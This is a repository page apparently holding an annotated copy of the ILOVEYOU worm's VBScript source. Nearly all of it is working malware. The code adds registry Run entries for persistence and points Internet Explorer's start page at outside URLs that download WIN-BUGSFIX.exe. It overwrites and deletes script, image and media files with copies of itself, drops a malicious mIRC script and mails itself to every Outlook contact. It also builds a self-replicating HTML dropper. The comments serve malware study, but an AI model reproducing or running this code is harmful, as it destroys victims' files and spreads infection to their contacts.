-
Notifications
You must be signed in to change notification settings - Fork 2
/
LOVE-LETTER-FOR-YOU.TXT.vbs
432 lines (364 loc) · 16 KB
/
LOVE-LETTER-FOR-YOU.TXT.vbs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
On Error Resume Next
' setup global variables to be used throughout subroutines and functions
Dim fso, dirsystem, dirwin, dirtemp, eq, ctr, file, vbscopy, dow
eq = ""
ctr = 0
' open the current script file and define "vbscopy" which can be used to
' read its own contents. Used to replicate itself in other files
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile(WScript.ScriptFullname, 1)
vbscopy = file.ReadAll
main()
' subroutine to initialize the program
Sub main()
On Error Resume Next
Dim wscr, rr
' creates a shell which will be used to read the registry
Set wscr = CreateObject("WScript.Shell")
' gets a registry key which indicates the scripting time-out from windows
rr = wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
' checks if the current timeout is more than 0
If (rr >= 1) Then
' sets the timeout to 0, effectively making it so that the script won't
' time out, in case the system happens to be too slow to execute it
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout", 0, "REG_DWORD"
End If
' finds special folders, such as system, temporary, and windows folders
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
' copy itself into VBScript files MSKernel32.vbs, Win32DLL.vbs, and LOVE-LETTER-FOR-YOU.TXT.vbs
c.Copy(dirsystem & "\MSKernel32.vbs")
c.Copy(dirwin & "\Win32DLL.vbs")
c.Copy(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs")
' call the other subroutines
regruns()
html()
spreadtoemail()
listadriv()
End Sub
' subroutine to create and update special registry values
Sub regruns()
On Error Resume Next
Dim num, downread
' set the system to automatically run MSKernel32.vbs and Win32DLL.vbs on startup
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32", dirsystem & "\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL", dirwin & "\Win32DLL.vbs"
' get Internet Explorer's download directory
downread = ""
downread = regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
' if the directory wasn't found, then use C:\ drive as the download directory
If (downread = "") Then
downread = "c:\"
End If
' check if a file named "WinFAT32.exe" exists in the system files
If (fileexist(dirsystem & "\WinFAT32.exe") = 1) Then
Randomize
' generate a random number from 1 to 4
num = Int((4 * Rnd) + 1)
' randomly update the internet explorer's start page that leads to a
' page that will download a malicious executable "WIN-BUGSFIX.exe"
If num = 1 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
ElseIf num = 2 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
ElseIf num = 3 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
ElseIf num = 4 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
End If
End If
' check if the "WIN-BUGSFIX.exe" file exists in the download directory
If (fileexist(downread & "\WIN-BUGSFIX.exe") = 0) Then
' add WIN-BUGSFIX.exe to run on startup
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX", downread & "\WIN-BUGSFIX.exe"
' update internet explorer's start page to "about:blank"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\StartPage", "about:blank"
End If
End Sub
' subroutine to list folders in drives
Sub listadriv()
On Error Resume Next
Dim d, dc, s
Set dc = fso.Drives
For Each d In dc
If (d.DriveType = 2) Or (d.DriveType = 3) Then
folderlist(d.path & "\")
End If
Next
listadriv = s
End Sub
' subroutine infect other files, by copying itself into them as well
' as creating a malicious mIRC script
Sub infectfiles(folderspec)
On Error Resume Next
Dim f, f1, fc, ext, ap, mircfname, s, bname, mp3
Set f = fso.GetFolder(folderspec)
Set fc = f.Files
For Each f1 In fc
ext = fso.GetExtensionName(f1.path)
ext = lcase(ext)
s = lcase(f1.name)
' copies itself into every file with vbs/vbe extension
If (ext = "vbs") Or (ext = "vbe") Then
Set ap = fso.OpenTextFile(f1.path, 2, true)
ap.write vbscopy
ap.close
' copies itself into every file with js/jse/css/wsh/sct/hta extension
' and creates a copy of the file with the .vbs extension
ElseIf (ext = "js")
Or (ext = "jse")
Or (ext = "css")
Or (ext = "wsh")
Or (ext = "sct")
Or (ext = "hta")
Then
Set ap = fso.OpenTextFile(f1.path, 2, true)
ap.write vbscopy
ap.close
bname = fso.GetBaseName(f1.path)
Set cop = fso.GetFile(f1.path)
cop.copy(folderspec & "\" & bname & ".vbs")
fso.DeleteFile(f1.path)
' copies itself into every file with jpg/jpeg extension
' and creates a copy of the file with the .vbs extension
ElseIf (ext = "jpg") Or (ext = "jpeg") Then
' copies itself
Set ap = fso.OpenTextFile(f1.path, 2, true)
ap.write vbscopy
ap.close
Set cop = fso.GetFile(f1.path)
cop.copy(f1.path & ".vbs")
fso.DeleteFile(f1.path)
' copies itself into every file with mp3/mp2 extension
ElseIf (ext = "mp3") Or (ext = "mp2") Then
Set mp3 = fso.CreateTextFile(f1.path & ".vbs")
mp3.write vbscopy
mp3.close
Set att = fso.GetFile(f1.path)
' sets file attributes to make the file hidden
' normal files have the attribute set to 0 so adding 2 to it,
' will set the attributes to hidden
att.attributes = att.attributes + 2
End If
' checks if the folder has already been infected, if not it will continue
' to infect the files
If (eq <> folderspec) Then
' looks for mIRC and related files to determine whether it
' should create/replace its script.ini with a malicious script
If (s = "mirc32.exe")
Or (s = "mlink32.exe")
Or (s = "mirc.ini")
Or (s = "script.ini")
Or (s = "mirc.hlp")
Then
Set scriptini = fso.CreateTextFile(folderspec & "\script.ini")
' the following mIRC script checks if the "nick" of a user is the same
' as "me" to halt and send a DCC command that will send a message to
' the user with a link to the LOVE=LETTER-FOR-YOU html page on the
' system
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, If mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /If ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick" & dirsystem & "\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq = folderspec
End If
End If
Next
End Sub
' subroutine used to get file listing of a folder
Sub folderlist(folderspec)
On Error Resume Next
Dim f, f1, sf
Set f = fso.GetFolder(folderspec)
Set sf = f.SubFolders
' iterates over each subfolder from the given top-level folder and
' recursively infect files
For Each f1 In sf
infectfiles(f1.path)
folderlist(f1.path)
Next
End Sub
' subroutine used to create/write registry entries
Sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey, regvalue
End Sub
' subroutine used to get registry entries
Function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget = regedit.RegRead(value)
End Function
' function to check if a file exists
Function fileexist(filespec)
On Error Resume Next
Dim msg
If (fso.FileExists(filespec)) Then
msg = 0
Else
msg = 1
End If
fileexist = msg
End Function
' function to check if a folder exists
Function folderexist(folderspec)
On Error Resume Next
Dim msg
If (fso.GetFolderExists(folderspec)) Then
msg = 0
Else
msg = 1
End If
fileexist = msg
End Function
' subroutine to send emails to the user's contacts through MAPI
' (Messaging Application Programming Interface), the API used by Outlook to
' communicate with the Microsoft Exchange Server which also hosts calendars
' and address book
Sub spreadtoemail()
On Error Resume Next
Dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad
' creates a shell to edit the registry
Set regedit = CreateObject("WScript.Shell")
' creates a new Outlook application object instance, to access the MAPI
Set out = WScript.CreateObject("Outlook.Application")
' gets the MAPI namespace used to access the address book lists
Set mapi = out.GetNameSpace("MAPI")
' goes through all contacts in the address book and sends an email
' with the LOVE-LETTER-FOR-YOU program as an attachment
For ctrlists = 1 To mapi.AddressLists.Count
Set a = mapi.AddressLists(ctrlists)
x = 1
' gets a registry key that is used to check who has been sent an email,
' already to ensure that even if there may be duplicate contacts, it will
' only send the email once to the same address
regv = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a)
If (regv = "") Then
regv = 1
End If
If (int(a.AddressEntries.Count) > int(regv)) Then
' iterates over each entry in the address list
For ctrentries = 1 To a.AddressEntries.Count
malead = a.AddressEntries(x)
regad = ""
regad = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead )
' if the contact hasn't yet been sent an email, a new email will be
' composed with the virus attached and a "kind" message and the
' subject "ILOVEYOU"
If (regad = "") Then
Set male = out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf & "kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
' sets the registry key to indicate that the email has been sent
' to the current contact
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead, 1, "REG_DWORD"
End If
x = x + 1
Next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count
Else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count
End If
Next
Set out = Nothing
Set mapi = Nothing
End Sub
' subroutine to generate and create the HTML file for LOVE-LETTER-FOR-YOU.HTM
Sub html
On Error Resume Next
Dim lines, n, dta1, dta2, dt1, dt2, dt3, dt4, l1, dt5, dt6
' generates an HTML page which contains a JScript and VBScript to replicate
' itself by leveraging ActiveX. It also listens for mouse and key events,
' which will open additional windows of the same page
dta1 = "<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"
& vbcrlf & _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"
& vbcrlf & _ "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"
& vbcrlf & _ "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "
& vbcrlf & _ "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"
& vbcrlf & _ "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"
& vbcrlf & _ "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE>"
& vbcrlf & _ "<?-?BODY><?-?HTML>"
& vbcrlf & _ "<SCRIPT language=@-@JScript@-@>"
& vbcrlf & _ "<!--?-??-?"
& vbcrlf & _ "If (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"
& vbcrlf & _ "?-??-?-->"
& vbcrlf & _ "<?-?SCRIPT>"
& vbcrlf & _ "<SCRIPT LANGUAGE=@-@VBScript@-@>"
& vbcrlf & _ "<!--"
& vbcrlf & _ "on error resume next"
& vbcrlf & _ "Dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"
& vbcrlf & _ "aw=1"
& vbcrlf & _ "code="
dta2 = "Set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"
& vbcrlf & _ "Set dirsystem=fso.GetSpecialFolder(1)"
& vbcrlf & _ "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"
& vbcrlf & _ "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"
& vbcrlf & _ "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"
& vbcrlf & _ "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"
& vbcrlf & _ "wri.write code4"
& vbcrlf & _ "wri.close"
& vbcrlf & _ "If (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) Then"
& vbcrlf & _ "If (err.number=424) Then"
& vbcrlf & _ "aw=0"
& vbcrlf & _ "End If"
& vbcrlf & _ "If (aw=1) Then"
& vbcrlf & _ "document.write @-@ERROR: can#-#t initialize ActiveX@-@"
& vbcrlf & _ "window.close"
& vbcrlf & _ "End If"
& vbcrlf & _ "End If"
& vbcrlf & _ "Set regedit = CreateObject(@-@WScript.Shell@-@)"
& vbcrlf & _ "regedit.RegWrite@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"
& vbcrlf & _ "?-??-?-->"
& vbcrlf & _ "<?-?SCRIPT>"
' replaces encoded characters from the above document to form a valid
' document that can be correctly opened and executed in the browser
dt1 = replace(dta1, chr(35) & chr(45) & chr(35), "'")
dt1 = replace(dt1, chr(64) & chr(45) & chr(64), """")
dt4 = replace(dt1, chr(63) & chr(45) & chr(63), "/")
dt5 = replace(dt4, chr(94) & chr(45) & chr(94), "\")
dt2 = replace(dta2, chr(35) & chr(45) & chr(35), "'")
dt2 = replace(dt2, chr(64) & chr(45) & chr(64), """")
dt3 = replace(dt2, chr(63) & chr(45) & chr(63), "/")
dt6 = replace(dt3, chr(94) & chr(45) & chr(94), "\")
' opens a new file system object, which is used to read this specific
' script file, that will then be injected into the HTM document
Set fso = CreateObject("Scripting.FileSystemObject")
Set c = fso.OpenTextFile(WScript.ScriptFullName, 1)
lines = Split(c.ReadAll,vbcrlf)
l1 = ubound(lines)
' encodes all special characters of the script's HTM, as this script
' will be injected into the HTM file and executed
For n = 0 to ubound(lines)
lines(n) = replace(lines(n), "'", chr(91) + chr(45) + chr(91))
lines(n) = replace(lines(n), """", chr(93) + chr(45) + chr(93))
lines(n) = replace(lines(n), "\", chr(37) + chr(45) + chr(37))
If (l1 = n) Then
lines(n) = chr(34) + lines(n) + chr(34)
Else
lines(n) = chr(34) + lines(n) + chr(34) & " & vbcrlf & _"
End If
Next
' create the LOVE-LETTER-FOR-YOU.HTM file in the system directory
Set b = fso.CreateTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM")
b.close
' creates the HTM file from everything above
Set d = fso.OpenTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM", 2)
d.write dt5
d.write join(lines, vbcrlf)
d.write vbcrlf
d.write dt6
d.close
End Sub